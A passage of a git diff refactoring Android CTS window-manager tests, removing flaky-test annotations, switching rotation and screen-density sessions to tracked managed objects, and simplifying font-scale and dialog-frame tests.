* Also verify that occluded activity will not get config changes.
*/
@Test
- @FlakyTest
public void testAppOrientationWhenRotating() throws Exception {
assumeTrue("Skipping test: no rotation support", supportsRotation());
@@ -585,29 +569,28 @@
// Rotate the activity and check that it receives configuration changes with a different
// orientation each time.
- try (final RotationSession rotationSession = new RotationSession()) {
- assumeTrue("Skipping test: no locked user rotation mode support.",
- supportsLockedUserRotation(rotationSession, displayId));
+ final RotationSession rotationSession = createManagedRotationSession();
+ assumeTrue("Skipping test: no locked user rotation mode support.",
+ supportsLockedUserRotation(rotationSession, displayId));
- rotationSession.set(ROTATION_0);
- SizeInfo reportedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
- int prevOrientation = reportedSizes.orientation;
+ rotationSession.set(ROTATION_0);
+ SizeInfo reportedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
+ int prevOrientation = reportedSizes.orientation;
- final int[] rotations = { ROTATION_270, ROTATION_180, ROTATION_90, ROTATION_0 };
- for (final int rotation : rotations) {
- separateTestJournal();
- rotationSession.set(rotation);
+ final int[] rotations = { ROTATION_270, ROTATION_180, ROTATION_90, ROTATION_0 };
+ for (final int rotation : rotations) {
+ separateTestJournal();
+ rotationSession.set(rotation);
- // Verify lifecycle count and orientation changes.
- assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
- 1 /* numConfigChange */);
- reportedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
- assertNotEquals(prevOrientation, reportedSizes.orientation);
- assertRelaunchOrConfigChanged(TEST_ACTIVITY, 0 /* numRelaunch */,
- 0 /* numConfigChange */);
+ // Verify lifecycle count and orientation changes.
+ assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
+ 1 /* numConfigChange */);
+ reportedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
+ assertNotEquals(prevOrientation, reportedSizes.orientation);
+ assertRelaunchOrConfigChanged(TEST_ACTIVITY, 0 /* numRelaunch */,
+ 0 /* numConfigChange */);
- prevOrientation = reportedSizes.orientation;
- }
+ prevOrientation = reportedSizes.orientation;
}
}
@@ -633,26 +616,25 @@
.getDisplayByActivity(PORTRAIT_ORIENTATION_ACTIVITY);
// Rotate the activity and check that the orientation doesn't change
- try (final RotationSession rotationSession = new RotationSession()) {
- assumeTrue("Skipping test: no user locked rotation support.",
- supportsLockedUserRotation(rotationSession, displayId));
+ final RotationSession rotationSession = createManagedRotationSession();
+ assumeTrue("Skipping test: no user locked rotation support.",
+ supportsLockedUserRotation(rotationSession, displayId));
- rotationSession.set(ROTATION_0);
+ rotationSession.set(ROTATION_0);
- final int[] rotations = { ROTATION_270, ROTATION_180, ROTATION_90, ROTATION_0 };
- for (final int rotation : rotations) {
- separateTestJournal();
- rotationSession.set(rotation);
+ final int[] rotations = { ROTATION_270, ROTATION_180, ROTATION_90, ROTATION_0 };
+ for (final int rotation : rotations) {
+ separateTestJournal();
+ rotationSession.set(rotation);
- // Verify lifecycle count and orientation changes.
- assertRelaunchOrConfigChanged(PORTRAIT_ORIENTATION_ACTIVITY, 0 /* numRelaunch */,
- 0 /* numConfigChange */);
- final SizeInfo reportedSizes = getLastReportedSizesForActivity(
- PORTRAIT_ORIENTATION_ACTIVITY);
- assertNull("No new sizes must be reported", reportedSizes);
- assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
- 0 /* numConfigChange */);
- }
+ // Verify lifecycle count and orientation changes.
+ assertRelaunchOrConfigChanged(PORTRAIT_ORIENTATION_ACTIVITY, 0 /* numRelaunch */,
+ 0 /* numConfigChange */);
+ final SizeInfo reportedSizes = getLastReportedSizesForActivity(
+ PORTRAIT_ORIENTATION_ACTIVITY);
+ assertNull("No new sizes must be reported", reportedSizes);
+ assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
+ 0 /* numConfigChange */);
}
}
@@ -660,7 +642,6 @@
* Test that device handles moving between two tasks with different orientations.
*/
@Test
- @FlakyTest(bugId = 71792393)
public void testTaskMoveToBackOrientation() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
@@ -690,16 +671,13 @@
/**
* Test that device doesn't change device orientation by app request while in multi-window.
*/
- @FlakyTest(bugId = 71918731)
@Test
public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
assumeTrue("Skipping test: no rotation support", supportsRotation());
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
- try (final RotationSession rotationSession = new RotationSession()) {
- requestOrientationInSplitScreen(rotationSession,
- ROTATION_90 /* portrait */, LANDSCAPE_ORIENTATION_ACTIVITY);
- }
+ requestOrientationInSplitScreen(createManagedRotationSession(),
+ ROTATION_90 /* portrait */, LANDSCAPE_ORIENTATION_ACTIVITY);
}
/**
@@ -709,10 +687,8 @@
public void testSplitscreenLandscapeAppOrientationRequests() throws Exception {
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
- try (final RotationSession rotationSession = new RotationSession()) {
- requestOrientationInSplitScreen(rotationSession,
- ROTATION_0 /* landscape */, PORTRAIT_ORIENTATION_ACTIVITY);
- }
+ requestOrientationInSplitScreen(createManagedRotationSession(),
+ ROTATION_0 /* landscape */, PORTRAIT_ORIENTATION_ACTIVITY);
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index 9662980..65b23fc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -98,7 +98,6 @@
}
}
- @FlakyTest(bugId = 69573940)
@Test
public void testAssistantStackZOrder() throws Exception {
assumeTrue(assistantRunsOnPrimaryDisplay());
@@ -189,7 +188,6 @@
}
@Test
- @FlakyTest(bugId = 71875631)
public void testAssistantStackFinishToPreviousApp() throws Exception {
// Launch an assistant activity on top of an existing fullscreen activity, and ensure that
// the fullscreen activity is still visible and on top after the assistant activity finishes
@@ -200,7 +198,7 @@
launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_ASSISTANT_FINISH_SELF, "true");
mAmWmState.waitFor((amState, wmState) -> !amState.containsActivity(ASSISTANT_ACTIVITY),
- "Waiting for " + getActivityName(ASSISTANT_ACTIVITY) + " finished");
+ getActivityName(ASSISTANT_ACTIVITY) + " finished");
}
waitForValidStateWithActivityTypeAndWindowingMode(
TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
@@ -214,7 +212,6 @@
}
@Test
- @FlakyTest(bugId = 71875631)
public void testDisallowEnterPiPFromAssistantStack() throws Exception {
try (final AssistantSession assistantSession = new AssistantSession()) {
assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE);
@@ -267,10 +264,7 @@
EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
waitForValidStateWithActivityTypeAndWindowingMode(
TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
- boolean isTranslucent = mAmWmState.getAmState().isActivityTranslucent(TEST_ACTIVITY);
- // Home should be visible if the occluding activity is translucent, else home shouldn't
- // be visible.
- mAmWmState.assertHomeActivityVisible(isTranslucent);
+ mAmWmState.assertHomeActivityVisible(false);
pressBackButton();
mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
@@ -300,7 +294,6 @@
}
}
- @FlakyTest(bugId = 69229402)
@Test
public void testLaunchIntoSameTask() throws Exception {
try (final AssistantSession assistantSession = new AssistantSession()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index bc84c83..b1a31df 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -46,7 +46,6 @@
import android.server.wm.settings.SettingsSession;
import androidx.annotation.IntDef;
-import androidx.test.filters.FlakyTest;
import com.android.compatibility.common.util.SystemUtil;
@@ -83,7 +82,7 @@
private @interface TestMode {}
@Test
- public void testRotation90Relaunch() throws Exception{
+ public void testRotation90Relaunch() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
// Should relaunch on every rotation and receive no onConfigurationChanged()
@@ -91,7 +90,7 @@
}
@Test
- public void testRotation90NoRelaunch() throws Exception {
+ public void testRotation90NoRelaunch() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
// Should receive onConfigurationChanged() on every rotation and no relaunch
@@ -99,7 +98,7 @@
}
@Test
- public void testRotation180_RegularActivity() throws Exception {
+ public void testRotation180_RegularActivity() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
assumeFalse("Skipping test: display cutout present, can't predict exact lifecycle",
hasDisplayCutout());
@@ -109,7 +108,7 @@
}
@Test
- public void testRotation180_NoRelaunchActivity() throws Exception {
+ public void testRotation180_NoRelaunchActivity() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
assumeFalse("Skipping test: display cutout present, can't predict exact lifecycle",
hasDisplayCutout());
@@ -119,7 +118,6 @@
}
@Test
- @FlakyTest(bugId = 110533226, detail = "Promote to presubmit once confirm it's not flaky")
public void testRotation180RelaunchWithCutout() throws Exception {
assumeTrue("Skipping test: no rotation support", supportsRotation());
assumeTrue("Skipping test: no display cutout", hasDisplayCutout());
@@ -128,7 +126,6 @@
}
@Test
- @FlakyTest(bugId = 110533226, detail = "Promote to presubmit once confirm it's not flaky")
public void testRotation180NoRelaunchWithCutout() throws Exception {
assumeTrue("Skipping test: no rotation support", supportsRotation());
assumeTrue("Skipping test: no display cutout", hasDisplayCutout());
@@ -141,7 +138,6 @@
* reverse-landscape rotations should result in same screen space available for apps.
*/
@Test
- @FlakyTest(bugId = 110533226, detail = "Promote to presubmit once confirm it's not flaky")
public void testConfigChangeWhenRotatingWithCutout() throws Exception {
assumeTrue("Skipping test: no rotation support", supportsRotation());
assumeTrue("Skipping test: no display cutout", hasDisplayCutout());
@@ -154,40 +150,39 @@
launchActivity(activityName);
mAmWmState.computeState(activityName);
- try(final RotationSession rotationSession = new RotationSession()) {
- final StateCount count1 = getStateCountForRotation(activityName, rotationSession,
- ROTATION_0 /* before */, ROTATION_180 /* after */);
- final StateCount count2 = getStateCountForRotation(activityName, rotationSession,
- ROTATION_90 /* before */, ROTATION_270 /* after */);
+ final RotationSession rotationSession = createManagedRotationSession();
+ final StateCount count1 = getStateCountForRotation(activityName, rotationSession,
+ ROTATION_0 /* before */, ROTATION_180 /* after */);
+ final StateCount count2 = getStateCountForRotation(activityName, rotationSession,
+ ROTATION_90 /* before */, ROTATION_270 /* after */);
- final int configChange = count1.mConfigChangeCount + count2.mConfigChangeCount;
- final int relaunch = count1.mRelaunchCount + count2.mRelaunchCount;
- // There should at least one 180 rotation without resize.
- final boolean sameSize = !count1.mResize || !count2.mResize;
+ final int configChange = count1.mConfigChangeCount + count2.mConfigChangeCount;
+ final int relaunch = count1.mRelaunchCount + count2.mRelaunchCount;
+ // There should at least one 180 rotation without resize.
+ final boolean sameSize = !count1.mResize || !count2.mResize;
- switch(testMode) {
- case TEST_MODE_CONFIGURATION_CHANGE: {
- assertTrue("There must be at most one 180 degree rotation that results in the"
- + " same configuration on device with cutout", configChange <= 1);
- assertEquals("There must be no relaunch during test", 0, relaunch);
- break;
- }
- case TEST_MODE_RELAUNCH_OR_CONFIG_CHANGE: {
- // If the size change does not cross the threshold, the activity will receive
- // onConfigurationChanged instead of relaunching.
- assertTrue("There must be at most one 180 degree rotation that results in"
- + " relaunch or a configuration change on device with cutout",
- relaunch + configChange <= 1);
- break;
- }
- case TEST_MODE_RESIZE: {
- assertTrue("A device with cutout should have the same available screen space"
- + " in landscape and reverse-landscape", sameSize);
- break;
- }
- default: {
- fail("unrecognized test mode: " + testMode);
- }
+ switch (testMode) {
+ case TEST_MODE_CONFIGURATION_CHANGE: {
+ assertTrue("There must be at most one 180 degree rotation that results in the"
+ + " same configuration on device with cutout", configChange <= 1);
+ assertEquals("There must be no relaunch during test", 0, relaunch);
+ break;
+ }
+ case TEST_MODE_RELAUNCH_OR_CONFIG_CHANGE: {
+ // If the size change does not cross the threshold, the activity will receive
+ // onConfigurationChanged instead of relaunching.
+ assertTrue("There must be at most one 180 degree rotation that results in"
+ + " relaunch or a configuration change on device with cutout",
+ relaunch + configChange <= 1);
+ break;
+ }
+ case TEST_MODE_RESIZE: {
+ assertTrue("A device with cutout should have the same available screen space"
+ + " in landscape and reverse-landscape", sameSize);
+ break;
+ }
+ default: {
+ fail("unrecognized test mode: " + testMode);
}
}
}
@@ -220,46 +215,45 @@
}
@Test
- public void testChangeFontScaleRelaunch() throws Exception {
+ public void testChangeFontScaleRelaunch() {
// Should relaunch and receive no onConfigurationChanged()
testChangeFontScale(FONT_SCALE_ACTIVITY, true /* relaunch */);
}
@Test
- public void testChangeFontScaleNoRelaunch() throws Exception {
+ public void testChangeFontScaleNoRelaunch() {
// Should receive onConfigurationChanged() and no relaunch
testChangeFontScale(FONT_SCALE_NO_RELAUNCH_ACTIVITY, false /* relaunch */);
}
private void testRotation(ComponentName activityName, int rotationStep, int numRelaunch,
- int numConfigChange) throws Exception {
+ int numConfigChange) {
launchActivity(activityName);
mAmWmState.computeState(activityName);
final int initialRotation = 4 - rotationStep;
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(initialRotation);
- mAmWmState.computeState(activityName);
- final int actualStackId =
- mAmWmState.getAmState().getTaskByActivity(activityName).mStackId;
- final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
- final int newDeviceRotation = getDeviceRotation(displayId);
- if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
- logE("Got an invalid device rotation value. "
- + "Continuing the test despite of that, but it is likely to fail.");
- } else if (newDeviceRotation != initialRotation) {
- log("This device doesn't support user rotation "
- + "mode. Not continuing the rotation checks.");
- return;
- }
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(initialRotation);
+ mAmWmState.computeState(activityName);
+ final int actualStackId =
+ mAmWmState.getAmState().getTaskByActivity(activityName).mStackId;
+ final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
+ final int newDeviceRotation = getDeviceRotation(displayId);
+ if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
+ logE("Got an invalid device rotation value. "
+ + "Continuing the test despite of that, but it is likely to fail.");
+ } else if (newDeviceRotation != initialRotation) {
+ log("This device doesn't support user rotation "
+ + "mode. Not continuing the rotation checks.");
+ return;
+ }
- for (int rotation = 0; rotation < 4; rotation += rotationStep) {
- separateTestJournal();
- rotationSession.set(rotation);
- mAmWmState.computeState(activityName);
- assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange);
- }
+ for (int rotation = 0; rotation < 4; rotation += rotationStep) {
+ separateTestJournal();
+ rotationSession.set(rotation);
+ mAmWmState.computeState(activityName);
+ assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange);
}
}
@@ -272,27 +266,34 @@
}
}
- private void testChangeFontScale(
- ComponentName activityName, boolean relaunch) throws Exception {
- try (final FontScaleSession fontScaleSession = new FontScaleSession()) {
- fontScaleSession.set(1.0f);
+ private void testChangeFontScale(ComponentName activityName, boolean relaunch) {
+ final FontScaleSession fontScaleSession = mObjectTracker.manage(new FontScaleSession());
+ fontScaleSession.set(1.0f);
+ separateTestJournal();
+ launchActivity(activityName);
+ mAmWmState.computeState(activityName);
+
+ final Bundle extras = TestJournalContainer.get(activityName).extras;
+ if (!extras.containsKey(EXTRA_FONT_ACTIVITY_DPI)) {
+ fail("No fontActivityDpi reported from activity " + activityName);
+ }
+ final int densityDpi = extras.getInt(EXTRA_FONT_ACTIVITY_DPI);
+
+ for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
separateTestJournal();
- launchActivity(activityName);
+ fontScaleSession.set(fontScale);
mAmWmState.computeState(activityName);
+ assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1);
- final int densityDpi = getActivityDensityDpi(activityName);
-
- for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
- separateTestJournal();
- fontScaleSession.set(fontScale);
- mAmWmState.computeState(activityName);
- assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1);
-
- // Verify that the display metrics are updated, and therefore the text size is also
- // updated accordingly.
- assertExpectedFontPixelSize(activityName,
- scaledPixelsToPixels(EXPECTED_FONT_SIZE_SP, fontScale, densityDpi));
- }
+ // Verify that the display metrics are updated, and therefore the text size is also
+ // updated accordingly.
+ final Bundle changedExtras = TestJournalContainer.get(activityName).extras;
+ waitForOrFail("reported fontPixelSize from " + activityName,
+ () -> changedExtras.containsKey(EXTRA_FONT_PIXEL_SIZE));
+ final int expectedFontPixelSize =
+ scaledPixelsToPixels(EXPECTED_FONT_SIZE_SP, fontScale, densityDpi);
+ assertEquals("Expected font pixel size should match", expectedFontPixelSize,
+ changedExtras.getInt(EXTRA_FONT_PIXEL_SIZE));
}
}
@@ -320,7 +321,7 @@
logE("Error waiting for valid state: " + e.getMessage());
return false;
}
- }, "Waiting asset sequence number to be updated and for activity to be resumed.");
+ }, "asset sequence number to be updated and for activity to be resumed.");
// Check if activity is relaunched and asset seq is updated.
assertRelaunchOrConfigChanged(TEST_ACTIVITY, 1 /* numRelaunch */,
@@ -340,26 +341,6 @@
return (int) ((f >= 0) ? (f + 0.5f) : (f - 0.5f));
}
- private static int getActivityDensityDpi(ComponentName activityName)
- throws Exception {
- final Bundle extras = TestJournalContainer.get(activityName).extras;
- if (!extras.containsKey(EXTRA_FONT_ACTIVITY_DPI)) {
- fail("No fontActivityDpi reported from activity " + activityName);
- return -1;
- }
- return extras.getInt(EXTRA_FONT_ACTIVITY_DPI);
- }
-
- private void assertExpectedFontPixelSize(ComponentName activityName, int fontPixelSize)
- throws Exception {
- final Bundle extras = TestJournalContainer.get(activityName).extras;
- if (!extras.containsKey(EXTRA_FONT_PIXEL_SIZE)) {
- fail("No fontPixelSize reported from activity " + activityName);
- }
- assertEquals("Expected font pixel size does not match", fontPixelSize,
- extras.getInt(EXTRA_FONT_PIXEL_SIZE));
- }
-
private void updateApplicationInfo(List<String> packages) {
SystemUtil.runWithShellPermissionIdentity(
() -> mAm.scheduleApplicationInfoChanged(packages,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index a3a6503..67cabaa 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -117,9 +117,7 @@
}
@After
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
+ public void tearDown() {
cleanupState();
}
@@ -127,7 +125,7 @@
* Make sure that the special activity stacks are removed and the ActivityManager/WindowManager
* is in a good state.
*/
- private void cleanupState() throws Exception {
+ private void cleanupState() {
stopTestPackage(DRAG_SOURCE.getPackageName());
stopTestPackage(DROP_TARGET.getPackageName());
stopTestPackage(DROP_TARGET_SDK23.getPackageName());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DeprecatedTargetSdkTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DeprecatedTargetSdkTest.java
index 8690b73..4f37a3c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DeprecatedTargetSdkTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DeprecatedTargetSdkTest.java
@@ -38,10 +38,7 @@
"DeprecatedTargetSdkVersionDialog";
@After
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
-
+ public void tearDown() {
// Ensure app process is stopped.
stopTestPackage(MAIN_ACTIVITY.getPackageName());
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
index 822d103..244beb0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
@@ -17,8 +17,6 @@
package android.server.wm;
import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
-import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_OVERSCAN;
-import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
@@ -49,7 +47,6 @@
"ExplicitSizeBottomRightGravity";
static final String TEST_EXPLICIT_SIZE_TOP_LEFT_GRAVITY = "ExplicitSizeTopLeftGravity";
static final String TEST_MATCH_PARENT = "MatchParent";
- static final String TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN = "MatchParentLayoutInOverscan";
static final String TEST_NO_FOCUS = "NoFocus";
static final String TEST_OVER_SIZED_DIMENSIONS = "OversizedDimensions";
static final String TEST_OVER_SIZED_DIMENSIONS_NO_LIMITS = "OversizedDimensionsNoLimits";
@@ -75,9 +72,6 @@
case TEST_MATCH_PARENT:
testMatchParent();
break;
- case TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN:
- testMatchParentLayoutInOverscan();
- break;
case TEST_EXPLICIT_SIZE:
testExplicitSize();
break;
@@ -132,15 +126,6 @@
});
}
- private void testMatchParentLayoutInOverscan() {
- doLayoutParamTest(params -> {
- params.width = MATCH_PARENT;
- params.height = MATCH_PARENT;
- params.flags |= FLAG_LAYOUT_IN_SCREEN;
- params.flags |= FLAG_LAYOUT_IN_OVERSCAN;
- });
- }
-
private void testExplicitSize() {
doLayoutParamTest(params -> {
params.width = 200;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 2b3abb3..52c8fee 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -24,7 +24,6 @@
import static android.server.wm.DialogFrameTestActivity.TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY;
import static android.server.wm.DialogFrameTestActivity.TEST_EXPLICIT_SIZE_TOP_LEFT_GRAVITY;
import static android.server.wm.DialogFrameTestActivity.TEST_MATCH_PARENT;
-import static android.server.wm.DialogFrameTestActivity.TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN;
import static android.server.wm.DialogFrameTestActivity.TEST_NO_FOCUS;
import static android.server.wm.DialogFrameTestActivity.TEST_OVER_SIZED_DIMENSIONS;
import static android.server.wm.DialogFrameTestActivity.TEST_OVER_SIZED_DIMENSIONS_NO_LIMITS;
@@ -103,20 +102,6 @@
);
}
- // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
- // we will not be constrained to the insets and so we will be the same size
- // as the main window main frame.
- // TODO: b/80262496
- // LAYOUT_IN_OVERSCAN isn't allowing windows to extend in to cutouts. We will have
- // to revisit whether to modify the behavior, or this test.
- @Ignore
- @Test
- public void testMatchParentDialogLayoutInOverscan() throws Exception {
- doParentChildTest(TEST_MATCH_PARENT_LAYOUT_IN_OVERSCAN, (parent, dialog) ->
- assertEquals(parent.getFrame(), dialog.getFrame())
- );
- }
-
private static final int explicitDimension = 200;
// The default gravity for dialogs should center them.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index f919ef3..b2f1fa8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -24,7 +24,7 @@
import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_NEVER;
import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.everyItem;
@@ -76,6 +76,7 @@
* atest CtsWindowManagerDeviceTestCases:DisplayCutoutTests
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class DisplayCutoutTests {
static final Rect ZERO_RECT = new Rect();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplaySizeTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplaySizeTest.java
index 61b498d..e5b9a04 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplaySizeTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplaySizeTest.java
@@ -46,6 +46,7 @@
* atest CtsWindowManagerDeviceTestCases:DisplaySizeTest
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class DisplaySizeTest extends ActivityManagerTestBase {
/** @see com.android.server.wm.UnsupportedDisplaySizeDialog */
@@ -53,45 +54,38 @@
"UnsupportedDisplaySizeDialog";
@After
- @Override
- public void tearDown() throws Exception {
- super.tearDown();
-
+ public void tearDown() {
// Ensure app process is stopped.
stopTestPackage(SMALLEST_WIDTH_ACTIVITY.getPackageName());
stopTestPackage(TEST_ACTIVITY.getPackageName());
}
@Test
- public void testCompatibilityDialog() throws Exception {
+ public void testCompatibilityDialog() {
// Launch some other app (not to perform density change on launcher).
launchActivity(TEST_ACTIVITY);
mAmWmState.assertActivityDisplayed(TEST_ACTIVITY);
- try (final ScreenDensitySession screenDensitySession = new ScreenDensitySession()) {
- screenDensitySession.setUnsupportedDensity();
+ createManagedScreenDensitySession().setUnsupportedDensity();
- // Launch target app.
- launchActivity(SMALLEST_WIDTH_ACTIVITY);
- mAmWmState.assertActivityDisplayed(SMALLEST_WIDTH_ACTIVITY);
- mAmWmState.assertWindowDisplayed(UNSUPPORTED_DISPLAY_SIZE_DIALOG_NAME);
- }
+ // Launch target app.
+ launchActivity(SMALLEST_WIDTH_ACTIVITY);
+ mAmWmState.assertActivityDisplayed(SMALLEST_WIDTH_ACTIVITY);
+ mAmWmState.assertWindowDisplayed(UNSUPPORTED_DISPLAY_SIZE_DIALOG_NAME);
}
@Test
- public void testCompatibilityDialogWhenFocused() throws Exception {
+ public void testCompatibilityDialogWhenFocused() {
launchActivity(SMALLEST_WIDTH_ACTIVITY);
mAmWmState.assertActivityDisplayed(SMALLEST_WIDTH_ACTIVITY);
- try (final ScreenDensitySession screenDensitySession = new ScreenDensitySession()) {
- screenDensitySession.setUnsupportedDensity();
+ createManagedScreenDensitySession().setUnsupportedDensity();
- mAmWmState.assertWindowDisplayed(UNSUPPORTED_DISPLAY_SIZE_DIALOG_NAME);
- }
+ mAmWmState.assertWindowDisplayed(UNSUPPORTED_DISPLAY_SIZE_DIALOG_NAME);
}
@Test
- public void testCompatibilityDialogAfterReturn() throws Exception {
+ public void testCompatibilityDialogAfterReturn() {
// Launch target app.
launchActivity(SMALLEST_WIDTH_ACTIVITY);
mAmWmState.assertActivityDisplayed(SMALLEST_WIDTH_ACTIVITY);
@@ -103,15 +97,13 @@
mAmWmState.assertActivityDisplayed(TEST_ACTIVITY);
separateTestJournal();
- try (final ScreenDensitySession screenDensitySession = new ScreenDensitySession()) {
- screenDensitySession.setUnsupportedDensity();
+ createManagedScreenDensitySession().setUnsupportedDensity();
- assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */);
- pressBackButton();
+ assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */);
+ pressBackButton();
- mAmWmState.assertActivityDisplayed(SMALLEST_WIDTH_ACTIVITY);
- mAmWmState.assertWindowDisplayed(UNSUPPORTED_DISPLAY_SIZE_DIALOG_NAME);
- }
+ mAmWmState.assertActivityDisplayed(SMALLEST_WIDTH_ACTIVITY);
+ mAmWmState.assertWindowDisplayed(UNSUPPORTED_DISPLAY_SIZE_DIALOG_NAME);
}
@Test
@@ -166,6 +158,10 @@
}
}
+ protected ScreenDensitySession createManagedScreenDensitySession() {
+ return mObjectTracker.manage(new ScreenDensitySession());
+ }
+
private static class ScreenDensitySession implements AutoCloseable {
private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index f51f0b6..6067a13 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -29,10 +29,9 @@
import android.content.res.Configuration;
import android.hardware.display.DisplayManager;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import android.util.Size;
import android.view.Display;
-import androidx.test.filters.FlakyTest;
import org.junit.Test;
@@ -43,6 +42,7 @@
* atest CtsWindowManagerDeviceTestCases:DisplayTests
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class DisplayTests extends MultiDisplayTestBase {
/**
@@ -50,8 +50,8 @@
*/
@Test
public void testDefaultDisplayOverrideConfiguration() throws Exception {
